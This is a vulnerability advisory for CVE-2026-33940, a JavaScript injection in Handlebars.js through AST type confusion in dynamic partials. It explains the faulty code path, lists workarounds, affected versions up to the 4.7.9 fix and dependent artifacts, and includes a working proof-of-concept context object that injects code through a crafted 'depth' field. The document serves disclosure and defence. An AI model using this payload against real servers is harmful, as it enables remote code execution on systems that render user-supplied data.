CVE-2026-33940
Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
Description
Summary
A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.
Description
The vulnerable code path spans two functions in lib/handlebars/runtime.js:
resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.
invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.
Minimum prerequisites:
- The template uses a dynamic partial lookup:
{{> (lookup . "key")}}or equivalent. - The adversary can set the value of the looked-up context property to a crafted object.
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.
Proof of Concept
const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Withoutcompile(), the fallback compilation path ininvokePartialis unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
- Avoid dynamic partial lookups (
{{> (lookup ...)}}) when context data is user-controlled.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
| org.webjars » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
| org.webjars.npm » handlebarsvia npm handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
Blast radius
55% of the dependent artifacts (25) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 57 |
| 2 hops | 124 |
| 3 hops | 80 |
| 4 hops | 11 |
Most used dependents
- ro.isdc.wro4j » wro4j-maven-plugin48 usages
- ro.isdc.wro4j » wro4j-extensions39 usages
- com.foreach.across.modules » admin-web-module21 usages
- net.aequologica.neo » geppaequo-tags15 usages
- com.evolveum.midpoint.gui » admin-gui10 usages
- com.foreach.across.modules » bootstrap-ui-module7 usages
- net.aequologica.neo » geppaequo-web7 usages
- org.webjars.npm » openlayers4 usages
- com.slyak » slyak-web3 usages
- org.geonetwork-opensource » gn-web-app2 usages
- com.foreach.imageserver » imageserver-admin2 usages
- org.webjars.npm » closure-util2 usages
- net.aequologica.neo » chat2 usages
- net.aequologica.neo » quintessence-web2 usages
- net.aequologica.neo » buildhub-persist2 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-33940 | nvd.nist.gov |
| Package | handlebars-lang/handlebars.js | github.com |
| Web | handlebars-lang/handlebars.js advisory GHSA-xhpv-hc6g-r9c6 | github.com |
| Web | handlebars-lang/handlebars.js commit 68d8df5 | github.com |
| Web | handlebars-lang/handlebars.js release v4.7.9 | github.com |
